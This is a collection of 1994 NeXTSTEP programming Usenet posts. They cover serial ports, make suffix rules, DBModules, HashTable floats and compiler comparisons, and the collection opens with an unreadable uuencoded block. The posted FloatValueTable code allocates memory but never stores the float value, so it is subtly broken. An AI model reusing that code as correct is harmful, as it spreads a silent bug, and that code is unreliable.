M92!D871A8F%S92X@(%1H92!P<F]B;&5M(&ES('1H870@=&AI<R!I<R!T:&4@ M;W5T<'5T($D@9V5T(&9R;VT@=&AA="`@7`H^(&QI='1L92!S;FEP<&5T(&]F M(&-O9&4Z7`H^(%P*/B!);G-I9&4@;6]D=6QE5VEL;$QO<V5#:&%N9V5S.EP* M/B`@("`@("`@($1I<V5A<V4Z(#%<"CX@("`@("`@("!0<F]C961U<F4Z(#%< M"CX@7`H^(%1H97D@<W1I;&P@:&%V92!C:&%N9V5S(2$A("!!3D0@22!35$E, M3"!'150@5$A%(%-455!)1"!$051!0D%312!004Y%3"$A(5P*/B!<"CX@22!T M<FEE9"!U<VEN9R!T:&4@1$)-;V1U;&4@;65T:&]D(&1I<V-A<F1#:&%N9V5S M.G-E;F1E<B!A;F0@=&AA="!D:61N)W0@(%P*/B!H879E(&%N>2!B971T97(@ M8F5H879I;W(N7`H^(%P*/B!(87,@86YY;VYE(&5L<V4@;W5T('1H97)E(')U M;B!U<"!A9V%I;G-T('1H:7,@8G)I8VL@=V%L;#\@($ES('1H97)E('-O;64@ M(%P*/B!S=&%T92!V87)I86)L92!I;B!T:&4@;6]D=6QE(&]R('1H92!F971C M:"!G<F]U<"!T:&%T('1E;&QS(&ET('=H96X@:70@:7,@(%P*/B!O:R!T;R!D M:7-C87)D(&-H86YG97,_7`H^(%P*/B`M1&%V95P*/B!<"CX@/3T]/3T]/3T] M/3T]/3T]/3T]/3T]/3T]/3T]/3T]/3T]/3T]/3T]/3T]/3U<"CX@/2!$879I M9"!)+B!';V]D;6%N("`@3EME15U85%-415`@1&5V96QO<&5R(#U<"CX@/2`@ M("`@("`@4VEN9VQE(%-O=7)C92!3>7-T96US+"!);F,N("`@("`@(#U<"CX@ M/2`@("`@("`@("!D9V]O9&UA;D!I<RYR<'-L;6,N961U("`@("`@("`@(#U< M"CX@/3T]/3T]/3T]/3T]/3T]/3T]/3T]/3T]/3T]/3T]/3T]/3T]/3T]/3T] M/3U<"CX@1&ES8VQA:6UE<CH@($YO('-T871E;65N=',@;6%D92!I;B!T:&ES M(&%R=&EC;&4@<VAO=6QD(&)E(&-O;G-T<G5E9"!T;R`@7`H^(')E9FQE8W0@ M=&AE(&]P:6YI;VYS(&]F(%)U<V@M4')E<V)Y=&5R:6%N+5-T+B!,=6ME)W,@ M365D:6-A;"!#96YT97(@;W(@7`H^(%-I;F=L92!3;W5R8V4@4WES=&5M<RX@ M($%L;"!O<&EN:6]N<R!A<F4@=VAO;&QY(&UY(&]W;BP@86YD($D@86T@<V]L H96QY7`H^(')E<W!O;G-I8FQE(&9O<B!M>2!S=&%T96UE;G1S+@I]"FT@ `
From: robert@steffi.demon.co.uk (Robert Nicholson) Newsgroups: comp.sys.next.programmer Subject: Michael's .o .h .p problem. Date: 5 Apr 1994 15:04:35 +0100 Organization: me organised, that's a joke. Message-ID: <2nrr5j$572@steffi.demon.co.uk> Did we find a solution to this problem? This "bug" has invalidated every palette that I have written since My palette names are ClassPalette and the IBPalette subclass name is ClassPalette So that's really helpful. I don't wish to change the name of either. Ok for applications it's unlikely that you will have a appname.h but for a palettes it's common place. -- "C++ is the best C++ there is." (ASCII for text only messages)
Newsgroups: comp.sys.next.programmer From: schaik@cnplss5.cnps.philips.nl (Willem van Schaik) Subject: Re: How do I use the serial ports? Message-ID: <1994Apr5.151222.730@cnplss5.cnps.philips.nl> Sender: news@cnplss5.cnps.philips.nl (USENET News System) Organization: Philips Communications & Processing Services, Eindhoven References: <2naqup$et2@discovery.ksu.ksu.edu> Date: Tue, 5 Apr 1994 15:12:22 GMT nhowland@discovery.ksu.ksu.edu (Neal Patrick Howland) writes: >I am new to programming NeXT machines and unix machines. What I would like >to do is write a simple text program to run from the command line which >is basically a dumb terminal to one of the serial ports. I have a Motorola >68HC11 EVBU board which communicates through an RS-232 port and behaves like >a 9600 baud modem, without handshaking. I need a program that will send >everything I type to it to the serial port, and print everything received >from the serial port to the screen. Could someone please send me some info >on how to do this, or the name of a program if one is available. Being able >to download text files to the serial port would be nice, but once I get comm >working I can add that function fairly easily. Hi, The following program illustrates how you must initialize and how you can use the RS423 ports on a NeXTstation. Succes, Willem ---------------------------------------------------- /* * include files */ #include <stdio.h> #include <stdlib.h> #include <strings.h> #include <sys/file.h> #include <sys/ioctl.h> /* * defines */ #define TRUE 1 #define FALSE 0 #define TTY_DEVICE "/dev/ttyb" #define STR_LEN 255 /* * main */ extern int main () { int ttyfd; struct sgttyb ttypars; int ttyrd; int ttywr; char ttystr[STR_LEN]; long avail; if ((ttyfd = open (TTY_DEVICE, O_RDWR)) <= 0) { printf ("Tty232: can't open %s\n", TTY_DEVICE); exit (-1); } else { if (gtty (ttyfd, &ttypars) < 0) { printf ("Tty232: can't get port parameters\n"); close (ttyfd); exit (-1); } printf ("ttypars.ispeed = %d\n", ttypars.sg_ispeed); printf ("ttypars.ospeed = %d\n", ttypars.sg_ospeed); printf ("ttypars.erase = %02X\n", ttypars.sg_erase); printf ("ttypars.kill = %02X\n", ttypars.sg_kill); printf ("ttypars.flags = %02X\n", ttypars.sg_flags); ttypars.sg_flags |= (RAW); ttypars.sg_flags &= ~(ECHO); if (stty (ttyfd, &ttypars) < 0) { printf ("Tty232: can't set port parameters\n"); close (ttyfd); exit (-1); } while (TRUE) { ioctl (ttyfd, FIONREAD, &avail); if (avail > 0) { ttyrd = read (ttyfd, ttystr, STR_LEN); ttywr = write (ttyfd, ttystr, ttyrd); putc ('.', stdout); printf ("%d", avail); fflush (stdout); } else { putc ('.', stdout); fflush (stdout); } sleep(1); } close (ttyfd); } return; } -- W i l l e m v a n S c h a i k ------------------------------------------------------------------------------- Philips TASS schaik@cnplss5.cnps.philips.nl
Newsgroups: comp.sys.next.programmer,comp.lang.objective-c From: esky@marathon.cs.ucla.edu (Eskandar Ensafi) Subject: Any way to get ALL class/instance methods at run-time? Organization: UCLA CS Department, Los Angeles, CA Message-ID: <1994Apr04.203444.7100@cs.ucla.edu> Date: Mon, 04 Apr 94 20:34:44 GMT Hello, I was wondering if their was a run-time function for getting a list of all methods accessible to a certain class. For example, objc_getClasses() returns a HashTable containing a list of all classes available to an application; do we have anything along the lines of class_getMethods()? Thank you. Please send e-mail if possible. - Eskandar -- "Dance with the dead in my dreams Listen to their hollowed screams The dead have taken my soul Temptation's lost all control" -- Dead Skin Mask (Slayer)
Newsgroups: comp.sys.next.programmer From: esky@marathon.cs.ucla.edu (Eskandar Ensafi) Subject: IB Custom Views NOT initialized in -appDidInit: !??? Organization: UCLA CS Department, Los Angeles, CA Message-ID: <1994Apr04.204830.7402@cs.ucla.edu> Date: Mon, 04 Apr 94 20:48:30 GMT Hello, In the main .nib file of a simple program, I have placed a custom subclass of View (MyView) in a Box. I have a Controller object designated as my Application object's delegate in IB, and it responds to -appDidInit. Controller has an instance variable 'myView' connected to the MyView object inside the Box object. Within the -appDidInit:, I tried to get to the Box by calling [myView superview], but it did not work -- myView's superview was NOT a Box. I then reversed the situation and connected an instance variable theBox to the Box. I then called [[[theBox subviews] objectAt:0] name], and the return was the string "View", NOT "MyView" (again, this was inside -appDidInit). However, outside of the -appDidInit:, myView was indeed a subview of theBox, and theBox was its superview. So is the main .nib file not fully initialized when -appDidInit: is called? Is this a bug? Any workarounds? Thanks, -Eskandar -- "Was ich kann und was ich konnte Weiss ich gar nicht mehr Gib mir wieder etwas schones Zieh mich aus dem meer" -- Marian (The Sisters Of Mercy)
From: robert@steffi.demon.co.uk (Robert Nicholson) Newsgroups: comp.sys.next.programmer Subject: Re: Michael's .o .h .p problem. Date: 5 Apr 1994 17:08:37 +0100 Organization: me organised, that's a joke. Message-ID: <2ns2e5$6qn@steffi.demon.co.uk> References: <2nrr5j$572@steffi.demon.co.uk> robert@steffi.demon.co.uk (Robert Nicholson) wrote in comp.sys.next.programmer >Did we find a solution to this problem? > >This "bug" has invalidated every palette that I have written since > >My palette names are > >ClassPalette > >and the IBPalette subclass name is ClassPalette > >So that's really helpful. > >I don't wish to change the name of either. > >Ok for applications it's unlikely that you will have a appname.h but >for a palettes it's common place. > >-- > "C++ is the best C++ there is." > > (ASCII for text only messages) Redefining my .SUFFIXES so that .p appears after .m seems to have done the trick. .SUFFIXES: .SUFFIXES: .o .C .cc .cxx .cpp .c .m .p .M .s .h .ym .y .lm .l .pswm .psw \ .mig .def .msg .bproj .subproj .tproj .store .copy .strip \ .installsrc .writable .clean $(BUNDLE_EXTENSION) .depend \ .lproj .dbmodel .dbmodela I don't know if this will break anything else? I hasn't so far but if it does then I think we should lobby for NeXT to release via NeXTAnswers a version of make that excludes the .p.o rule. We choose to use this version. I couldn't override the rule but I'm no Make god either. I'd rather have a pascal programmer on this platform have to worry about adding the rule rather than the typical occurence of it clashing with a precompiled header. IMHO: The decision to use .p for precompiled headers indicates NeXT's stance on pascal source :-) Perhaps the obvious change in 3.3 will be to redefine the ordering of .SUFFIXES assuming no other assumptions are made. I cannot think of any reason to suggest that this change won't fix things proper. -- "C++ is the best C++ there is." (ASCII for text only messages)
From: nhowland@matt.ksu.ksu.edu (Neal Patrick Howland) Newsgroups: comp.sys.next.programmer Subject: OpenStep guidlines? Date: 5 Apr 1994 12:53:34 -0500 Organization: Kansas State University Message-ID: <2ns8iu$cti@matt.ksu.ksu.edu> I just read the post about the OpenStep developers kit for Sun computers and it mentioned a document that came with the kit called something like "Developing OpenStep applications with NeXTStep 3.2". I just figured this might be important to look through for developing code that could be easily ported to future OpenStep environments. Anyway, if there is anybody out there who has seen this document, could you post some kind of summary or something? Neal Howland nhowland@matt.ksu.ksu.edu
From: work@dannug.dk (Michael Hallin) Newsgroups: comp.sys.next.programmer Subject: Re: Wizard and Pencil Me In Date: 5 Apr 1994 19:28:57 GMT Organization: Danish NeXT User Group Message-ID: <2nse5p$3aj@machthenext.dannug.dk> References: <2nht0o$ap6@cerberus.wsc.com> In article <2nht0o$ap6@cerberus.wsc.com> samurai@wsc.com (Darcy Brockbank) writes: |> |>Hello, |> |>The Sharp Wizard has an API that several Windoze calendar |>apps use to download calendars to it. It's pretty cool. |> |>So, Pencil Me In has an API as well... the question is, has |>anyone put the two together? Is there source available? If |>not, I guess I have a little project... |> |>Thanks, |> |>- darcy Hi, I don t know about Pencil Me In, but I have OnDuty, and it has a software module for communication with a Sharp Wizard. You can transfer addresses, appointments, notes ect. in both directions. So somebody has done something about it, but only together with one product..... Too bad, I don t really the Sharp, I much prefer my Time/system - Texas DayPlanner...now if somebody would make an interface for a newton, then things might really get interesting........ Best, Michael --- _____________________________________________ Michael Hallin Copenhagen, Denmark NeXTMail: work@dannug.dk NonNeXTMail: mh.xeroxvang@rxdk.xerox.com Voice: Int + 45 43 53 34 33 Fax: Int + 45 43 53 34 33 Work: Int + 45 43 43 43 03 Fax: Int + 45 43 43 59 70 _____________________________________________
Newsgroups: comp.sys.next.programmer From: bbum@friday.com Subject: Re: hashtable and float values Message-ID: <CnL9xz.AD@friday.com> Sender: bbum@friday.com (Bill Bumgarner) Organization: Friday Software & Consulting; a virtual company References: <1994Mar29.194926.18358@iitmax.iit.edu> Date: Fri, 1 Apr 1994 16:32:23 GMT Chris Conley writes > To specify the type of a value, one uses a character specified > in the hashtable docs. For integer it is an "i". There isn;t > one specifically for float, but there is an "!" for other data > types. > > Can I use this for floats in the above scheme? I am asking > because my code is choking. All of the types that HashTable can handle is keys and values have one thing in common; they are all the same size-- the size of a (void *) (4 bytes on black & white hardware-- if gecko has 64 bit addressing, it will be 8 bytes). Floats are larger than 4 bytes, so they can't be used as keys or values directly-- you need to allocate memory to store them. I would suggest a subclass? ---- interface follows ---- @interface FloatValueTable : HashTable /* designated initializer */ - initKeyDesc:(const char *) aKeyDesc; - (float) floatValueForKey:(void *) aKey; - (float) insertKey:(void *) aKey floatValue:(float) fValue; /* ... etc ... */ @end ---- implementation follows ---- #import <objc/Object.h> #import <ansi/math.h> #import "FloatValueTable.h" @implementation FloatValueTable - initKeyDesc:(const char *) aKeyDesc { [super initKeyDesc:aKeyDesc valueDesc:"!"]; return self; } - (float) floatValueForKey:(void *) aKey { float *theValuePtr; theValuePtr = [self valueForKey:aKey]; if (theValuePtr) return *theValuePtr; else return NAN; } - (float) insertKey:(void *) aKey floatValue:(float) fValue; { float *floatValuePtr; float *returnValuePtr; if(!aKey) return NAN; floatValuePtr = NXZoneMalloc([self zone], sizeof(float)); returnValuePtr = [self insertKey:aKey value:floatValuePtr]; if (returnValuePtr) return * returnValuePtr; else return NAN; } @end some notes: - the insertKey.. and valueForKey... equivalents for float are purposefully renamed. if they weren't, the compiler would yell and scream because you would end up w/two different type declarations for the same method-- a no-no in a full dynamic binding environment like objective-c (imagine what would happen if you tried to pass a float (> 4 byte) argument in a spot that took a (void *) argument.... nothing good can come of it. - you will need to implement cover methods like the above for the rest of HashTable's value manipulation methods. - when -free'ing an instance of this kind of hashtable, make sure you also free the memory containing the values (HashTable cannot do this automatically). There is a mechanism provided that makes this [relatively] straight-forward; see the docs for HashTable. - A HashTable operation can typically fail in two ways; the specified key was NULL or invalid, or there isn't a value associated with the key. The above code makes no differentiation between the two states and simply returns NAN; this is consistent with HashTable's behaviour, but is something you should be aware of and may not be the behaviour you want. - If you need to perform a relatively large number of hashtable operations during a calculation loop, you might consider using the NXHashTable library. It is a set of c functions that perform hashing operations. The NXHashTable library is slightly more complicated to use, but is faster than the HashTable object. -- b.bum <bbum@friday.com> | "blah blah blah" WhiteLight Systems, INC. | - someone somewhere
Newsgroups: comp.sys.next.programmer From: drew@fnbc.com (Drew Davidson) Subject: Re: DBTextFormatter question... Message-ID: <1994Apr6.164007.22837@fnbc.com> Sender: news@fnbc.com Organization: First National Bank Of Chicago, Chicago IL, USA References: <2ntqci$3dr@steffi.demon.co.uk> Date: Wed, 6 Apr 94 16:40:07 GMT In article <2ntqci$3dr@steffi.demon.co.uk> robert@steffi.demon.co.uk (Robert Nicholson) writes: > I have a subclass of DBTextFormatter that when applied to a > DBTableVector incorrectly draws it's text. > > Basically, the values are the social security number field from the > Author table in pubs and when I hook up a regular DBTextFormatter by > testing in IB. The characters appear to draw properly. But when I use > my DBTextFormatter subclass on the same DBTableVector which uses a > PSmoveto PSshow combination the '-'s appear too close to the numbers > and whole thing looks squashed up. > > For the purpose of this excerise I cannot call super's drawFieldAt.... > > My question. What is it that the DBTextFormatter does when it renders > it's text? I need to copy that machinery. My first guess at this would be that the DBTextFormatter is doing something along the lines of: if (NXDrawingStatus == NX_DRAWING) [[font screenFont] set]; else [font set]; PSmoveto(x,y); PSshow(aString); This could account for the difference in the display. To know for sure, you could turn on PS tracing (command line option -NXShowPS) and look for the display, although I don't know for sure if that would reveal if the screen font is being used. > -- > "C++ is the best C++ there is." > > (ASCII for text only messages) -- +--------------------------------+---------------------------------------+ | Drew Davidson - Software Guy | "Computers are useless. They can | | First National Bank of Chicago | only give you answers." | | drew@fnbc.com (NeXTmail) | - Pablo Picasso | |--------------------------------+---------------------------------------| | All opinions expressed here are mine and mine alone. | +--------------------------------+---------------------------------------+
Newsgroups: comp.sys.next.programmer From: gerti@tms-gmbh.de (Gerd Knops) Subject: Re: addSupplement:inPath: Message-ID: <CnuJ6w.vz@tms-gmbh.de> Sender: usenet@tms-gmbh.de Organization: tms GmbH, Regensburg, Germany References: <Cnu1B9.Fu8@hazel.north.de> Date: Wed, 6 Apr 1994 16:30:31 GMT In article <Cnu1B9.Fu8@hazel.north.de> gmd@hazel.north.de (Gerriet M. Denkmann) writes: > I cannot make the addSupplement:inPath: method work. And also I do not > fully understand the documentation. > > [munch] Try this: Have a path <myBundleDir>/English.lproj/Help/, and in this the TableOfContents.rtf and all the other files. Then: [helpPanel addSupplement:"Help" inPath:[currBundle directory]]; WARNING: currBundle might be freed during this!!! Gerd
From: art@cubicsol.com (Art Isbell) Newsgroups: comp.sys.next.programmer Subject: Re: PSsetgray(value); value = ? for solid greys Date: 3 Apr 1994 01:35:57 GMT Organization: University of California, Santa Cruz Distribution: world Message-ID: <2nl6ht$2iv@darkstar.UCSC.EDU> References: <1994Apr1.021434.2046@trilithon.com> In article <1994Apr1.021434.2046@trilithon.com> henry@trilithon.com (Henry McGilton) writes: > There are only four values, declared in appkit/graphics.h: > NX_WHITE = 1.0 > NX_LTGRAY = 2.0/3.0 > NX_DKGRAY = 1.0/3.0 > NX_BLACK = 0.0 > There is no defined constant for ``medium grey'' and there is no > pixel gray which results in such a shade. If you choose ``medium > grey'' = 0.50, you'll get a halftone instead of a gray scale. Also beware of testing for the gray shade: if ([textField textGray] == NX_LTGRAY) Just like comparing any other floats in a finite precision system, the comparison can fail unexpectedly. You'll need to add a "fuzz factor": if ((gray = [textField textGray]) <= NX_LTGRAY + fuzz && gray >= NX_LTGRAY - fuzz) I've gotten bitten by this particular example in the past... --- Art Isbell Cubic Solutions NeXT Registered Consultant NEXTSTEP software development and consulting NeXTmail: art@cubicsol.com Voice: +1 408 335 1154 USmail: 95018-9442 Fax: +1 408 335 2515
Newsgroups: comp.sys.next.programmer From: cousens@biztech.com Subject: Re: Anybody ever seen a Window Palette? Message-ID: <1994Apr2.182711.618@biztech.com> Sender: news@biztech.com Organization: Biztech, Inc. References: <1994Mar25.161432.1109@il.us.swissbank.com> Date: Sat, 2 Apr 1994 18:27:11 GMT Monty, creating a Window palette is easy...you have access to the subviews before and after the drag, but not during...what are you trying to do, exactly? Rik (cousens@biztech.com) In article <1994Mar25.161432.1109@il.us.swissbank.com> montyz@il.us.swissbank.com (Montgomery Zukowski) writes: > Just curious if as a Window object dragged from a palette you have access > to your subviews while in IB. > > Anybody? Anybody? > > Monty
Newsgroups: comp.sys.next.programmer From: kent@infoserv.com Subject: Re: Code ownership.. Does anybody care? Message-ID: <CnLsxG.2Fv@infoserv.com> Sender: kent@infoserv.com (Kent L. Shephard) Organization: K. L. Shephard Consulting References: <2nh096$7r5@steffi.demon.co.uk> Distribution: na Date: Fri, 1 Apr 1994 23:22:27 GMT In article <2nh096$7r5@steffi.demon.co.uk> robert@steffi.demon.co.uk (Robert Nicholson) writes: ** STUFF DELETED ** #But as programmers we should be able to develop and make use of our #_own_ libraries and retain the rights shouldn't we? # #For the purpose of this discussion I guess we can define "own" as #being anything your write outside an employment context and you would #deem to be useful on a particular work-related project. If you develop something while employed ythat directly relates to your work it would be very difficult to claim ownership. i'm a hardware design engineer and have a consulting business in addition to my 9-5. Now if I design hardware that us usefull and directly related to what I do at work I can't claim ownership. If on the other hand I design hardware that is not related to what I do at work I do own it. it gets a bit strange when you talk about code because modules can be used in different applications. Kent -- /* K.L. Shephard Consulting is my company. Infoserv only delivers my mail. */ /* Please direct mail to kent@infoserv.com other adresses may not work. */
Newsgroups: comp.sys.next.programmer From: laurent@planon.qc.ca (Laurent Daudelin) Subject: Re: DBModules and discarding changes Message-ID: <1994Apr6.153137.12340@planon.qc.ca> Sender: laurent@planon.qc.ca References: <1994Apr1.215548.15456@rpslmc.edu> Date: Wed, 6 Apr 1994 15:31:37 GMT In article <1994Apr1.215548.15456@rpslmc.edu> dgoodman@is.rpslmc.edu (Dave Goodman) writes: > I have observed some disturbing behavior while working with DBModules. I > have a data entry panel and one of the options on the panel is "Cancel". > I use the standard alert panel to make sure the user gets the chance to > save any changes they might have made. > > Obviously, one of the choices on the panel is "Close anyway" which will > discard the changes the user has made. In this case, I use the following > code to clean up: > > printf("Inside moduleWillLoseChanges:\n"); > [[diseaseModule rootFetchGroup] discardChanges]; > printf("\tDisease: %d\n", (int)[[diseaseModule rootFetchGroup] > hasUnsavedChanges]); > [[procedureModule rootFetchGroup] discardChanges]; > printf("\tProcedure: %d\n", (int)[[diseaseModule rootFetchGroup] > hasUnsavedChanges]); > > I do this so the user won't get one of those ugly alert panels that come > from the database. The problem is that this is the output I get from that > little snippet of code: > > Inside moduleWillLoseChanges: > Disease: 1 > Procedure: 1 > > They still have changes!!! AND I STILL GET THE STUPID DATABASE PANEL!!! > > I tried using the DBModule method discardChanges:sender and that didn't > have any better behavior. > > Has anyone else out there run up against this brick wall? Is there some > state variable in the module or the fetch group that tells it when it is > ok to discard changes? > > -Dave > Dave, I think I encountered the same behaviour. I think it was caused by some relations from a DBModule to another. I had to properly discard changes for the related DBModule before discarding changes for my main module. I would try to discard changes to the procedure DBModule, before discarding for the disease DBModule. If it doesn't work, try to discard changes using the DBRecordList for both rootFetchGroups. When I save changes to a DBModule, I'm using the rootFetchGroup. However, for an unknown reason, sometime it fails. Immediatly after sending [rootFetchGroup saveChanges], I check to see if there is still unsaved changes. If so, I send a saveModifications message to the rootFetchGroup DBRecordList. Then, it properly saves changes. Hope this helps. Laurent. -- ****************************************************************** Laurent Daudelin, Software Engineer Planon TELEXPERTISE Inc., Boucherville, Quebec, CANADA laurent@planon.qc.ca <-- NeXTMail welcome! (Mac Mail welcome too!)
From: bhemberger@hamp.hampshire.edu Newsgroups: comp.sys.next.programmer Subject: Clock/calendar classes????? Date: Sun, 3 Apr 94 07:31:00 GMT Organization: Hampshire College Message-ID: <2nmuc4$mhe@nic.umass.edu> Please help a programmer wo is trying to learn nextstep programming... I am working on a small app and I want to use the clocks and small monthly calendars that I see in Preferences and other apps. I figure there's gotta be some class that I can reuse instead of building my own. Can anyone tell me where to find this type of thing? TIA...Ben. Ben Hemberger bhemberger@hamp.hampshire.edu Hampshire College benh@scire.hampshire.edu <- NeXT mail Amherst, MA
From: Charles William Swiger <infidel+@CMU.EDU> Newsgroups: comp.sys.next.programmer Subject: GCC 2.5.8 versus NeXT's CC on NS 3.2 Date: Sun, 3 Apr 1994 16:39:00 -0400 Organization: Carnegie Mellon, Pittsburgh, PA Message-ID: <ghbmZYm00WBMI3C1pv@andrew.cmu.edu> Has anyone done a comparison of the differences in speed and code generation between a fully optimized version of gcc 2.5.8 and the version of gcc that NeXT provides with NEXTSTEP 3.2 (which is gcc 2.2.2)? Thanks, -Chuck Charles William Swiger - WhiteLight Systems | "All the world's a stage, and" --------------------------------------------+ "we are merely players...." AMS & normal mail: infidel@cmu.edu | NeXTmail: chuck@cswiger.slip.andrew.cmu.edu | "Semper ubi sub ubi."
From: dekorte@scri.fsu.edu (Steve Dekorte) Newsgroups: comp.sys.next.programmer Subject: Re: GCC 2.5.8 versus NeXT's CC on NS 3.2 Date: 3 Apr 1994 22:26:19 GMT Organization: Florida State University Message-ID: <2nnfqb$k9e@mailer.fsu.edu> References: <ghbmZYm00WBMI3C1pv@andrew.cmu.edu> Charles William Swiger <infidel+@CMU.EDU> writes > Has anyone done a comparison of the differences in speed and code > generation between a fully optimized version of gcc 2.5.8 and the > version of gcc that NeXT provides with NEXTSTEP 3.2 >(which is gcc 2.2.2)? NeXT cc should be signifigantly faster for Objective-C code. They've rewritten some of message passing stuff (selector lookups or something) for improved performance. While the gcc people are still arguing about #import vs. #include. SD
From: Charles William Swiger <infidel+@CMU.EDU> Newsgroups: comp.sys.next.programmer Subject: Re: GCC 2.5.8 versus NeXT's CC on NS 3.2 Date: Sun, 3 Apr 1994 22:21:25 -0400 Organization: Carnegie Mellon, Pittsburgh, PA Message-ID: <chbraZ_00iV146Z3Fe@andrew.cmu.edu> In-Reply-To: <2nnfqb$k9e@mailer.fsu.edu> Excerpts from netnews.comp.sys.next.programmer: 3-Apr-94 Re: GCC 2.5.8 versus NeXT's.. by Steve Dekorte@scri.fsu.e > Charles William Swiger <infidel+@CMU.EDU> writes > > Has anyone done a comparison of the differences in speed and code > > generation between a fully optimized version of gcc 2.5.8 and the > > version of gcc that NeXT provides with NEXTSTEP 3.2 > >(which is gcc 2.2.2)? > > NeXT cc should be signifigantly faster for Objective-C code. > They've rewritten some of message passing stuff > (selector lookups or something) for improved performance. > While the gcc people are still arguing about #import vs. #include. Thanks for the reply. I see however that I should've provided more context. For NeXT-based (ie, PB maintained) projects, NeXT's cc is easier to deal with, because it complains less about Obj-C (including the annoying warning about #import) and can do FAT binaries, which gcc won't do. I use cc for such tasks. Let me re-ask the question for the context of pure C source (ie, something like zsh or Carl Edmans' Emacs 19 for NS). -Chuck a Charles William Swiger - WhiteLight Systems | "All the world's a stage, and" --------------------------------------------+ "we are merely players...." AMS & normal mail: infidel@cmu.edu | NeXTmail: chuck@cswiger.slip.andrew.cmu.edu | "Semper ubi sub ubi."
From: sanguish@digifix.com Newsgroups: comp.sys.next.announce,comp.sys.next.misc,comp.sys.next.sysadmin,comp.sys.next.advocacy,comp.sys.next.hardware,comp.sys.next.software,comp.sys.next.bugs,comp.sys.next.programmer,comp.sys.next.marketplace Subject: Quick Guide to NEXTSTEP information on the Internet Date: 4 Apr 1994 00:51:30 -0400 Organization: Next Announcements Message-ID: <2no6ci$8bn@digifix.digifix.com> This post is made weekly, to help 'point' users to more NEXTSTEP information Topics include: NEXTSTEP World Wide Web Product Information Server online comp.sys.next newsgroups related newsgroups comp.sys.next newsgroups mailing list ftp sites NeXTanswers New Information --------------- NEXTSTEP World Wide Web Product Information Server online A product directory built around the World Wide Web system, this will allow full multimedia announcements by NEXTSTEP developers, as well as the ability to browse the available products for NEXTSTEP. This service is online now, and can be reached at http://digifix.digifix.com/ it can be reached using OmniWeb (available from ftp.omnigroup.com) or Mosaic. The entries are coming in quite quickly, and I'll be moving the entire NEXTSTEP Third Party Catalog contents in as soon as they become available. Additionally the NEXTSTEP Product Information Mail Server will be stocked full file files in the next week... you can get information on using the mail server at ns-products@digifix.com Suggestions or comments can be directed to me at sanguish@digifix.com comp.sys.next.* newsgroups -------------------------- Comp.Sys.Next.Advocacy This is the "why NEXTSTEP is better (or worse) than anything else in the known universe" forum. It was created specifically to divert lengthy flame wars from .misc. Comp.Sys.Next.Announce Announcements of general interest to the NeXT community (new products, FTP submissions, user group meetings, commercial announcements etc.) The NEXTSTEP FAQs are posted here monthly as well. This is a moderated newsgroup, meaning that you can't post to it directly. Submissions should be e-mailed to next-announce@digifix.com where the moderator (Scott Anguish) will screen them for suitability. Comp.Sys.Next.Bugs A place to report verifiable bugs in NeXT-supplied software. Material e-mailed to Bug_NeXT@NeXT.COM is not published, so this is a place for the net community find out about problems when they're discovered. This newsgroup has a very poor signal/noise ratio--all too often bozos post stuff here that really belongs someplace else. It rarely makes sense to crosspost between this and other c.s.n.* newsgroups, but individual reports may be germane to certain non-NeXT- specific groups as well. Comp.Sys.Next.Hardware Discussions about NeXT-label hardware and compatible peripherals, and non-NeXT-produced hardware (e.g. Intel) that is compatible with NEXTSTEP. In most cases, questions about Intel hardware are better asked in comp.sys.ibm.pc.hardware. Questions about SCSI devices belong in comp.periphs.scsi. This isn't the place to buy or sell used NeXTs--that's what .marketplace is for. Comp.Sys.Next.Marketplace NeXT stuff for sale/wanted. Material posted here must not be crossposted to any other c.s.n.* newsgroup, but may be crossposted to misc.forsale.computers.workstation or appropriate regional newsgroups. Comp.Sys.Next.Misc For stuff that doesn't fit anywhere else. Anything you post here by definition doesn't belong anywhere else in c.s.n.*--i.e. no crossposting!!! Comp.Sys.Next.Programmer Questions and discussions of interest to NEXTSTEP programmers. This is primarily a forum for advanced technical material. The NEXTSTEP programmer FAQs are posted here. Generic UNIX questions belong elsewhere (comp.unix.questions), although specific questions about NeXT's implementation or porting issues are appropriate here. Note that there are several other more "horizontal" newsgroups (comp.lang.objective-c, comp.lang.postscript, comp.os.mach, comp.protocols.tcp-ip, etc.) that may also be of interest. Comp.Sys.Next.Software This is a place to talk about [third party] software products that run on NEXTSTEP systems. Comp.Sys.Next.Sysadmin Stuff relating to NeXT system administration issues; in rare cases this will spill over into .programmer or .software. related Newsgroups ------------------ Comp.Soft-Sys.Nextstep Like comp.sys.next.software and comp.sys.next.misc combined. Exists because NeXT is a software-only company now, and comp.soft-sys is for discussion of software systems with scope similar to NEXTSTEP. Comp.Lang.Objective-C Technical talk about the Objective-C language. Implemetations discussed include NeXT, Gnu, Stepstone, etc. Comp.Object Technical talk about OOP in general. Lots of C++ discussion, but NeXT and Objective-C get quite a bit of attention. At times gets almost philosophical about objects, but then again OOP allows one to be a programmer/philosopher. (The original Comp.Sys.Next no longer exists--do not attempt to post to it.) Exception to the crossposting restrictions: announcements of usenet RFDs or CFVs, when made by the news.announce.newgroups moderator, may be simultaneously crossposted to all c.s.n.* newsgroups. Getting the Newsgroups without getting News ------------------------------------------- Thanks to Michael Ross at antigone.com, the main NEXTSTEP groups are now available as a mailing list digest as well. next-nextstep-d next-advocacy-d next-announce-d next-bugs-d next-hardware-d next-marketplace-d next-misc-d next-programmer-d next-software-d next-sysadmin-d (For a full description, send mail saying LISTS to <digestif@antigone.com>). The subscription syntax is essentially the same as LISTSERV's. To subscribe, send a message to <digestif@antigone.com> saying: SUB Listname YourName Example: SUB next-hardware-d John Doe The ftp sites ------------- cs.orst.edu: The main site for North American submissions nova.cc.purdue.edu: Lots of older stuff, but very short on disk space ftp.informatik.uni-muenchen.de: In Germany. terra.stack.urc.tue.nl (Dutch NEXTSTEP User Group) and cube.sm.dsi.unimi.it (Italian NEXTSTEP User Group) ftp.next.com: See the below ftp.next.com and NextAnswers@next.com ------------------------------------- From the document 1000_Help from ftp.next.com Welcome to the NeXTanswers information retrieval system! This system allows you to request online technical documents, drivers, and other software, which are then sent to you automatically. You can request documents by fax or Internet electronic mail, or you can transfer them by anonymous ftp. NeXTanswers is an automated retrieval system. Requests sent to it are answered electronically, and are not read or handled by a human being. NeXTanswers does not answer your questions or forward your requests. USING NEXTANSWERS BY E-MAIL To use NeXTanswers by Internet e-mail, send requests to NeXTanswers@next.com. Files are sent as NeXTmail attachments by default; you can request they be sent as ASCII text files instead. To request a file, include that file's ID number in the Subject line or the body of the message. You can request several files in a single message. You can also include commands in the Subject line or the body of the message. These commands affect the way that files you request are sent: ASCII causes the requested files to be sent as ASCII text SPLIT splits large files into 95KB chunks, using the MIME Message/Partial specification These commands return information about the 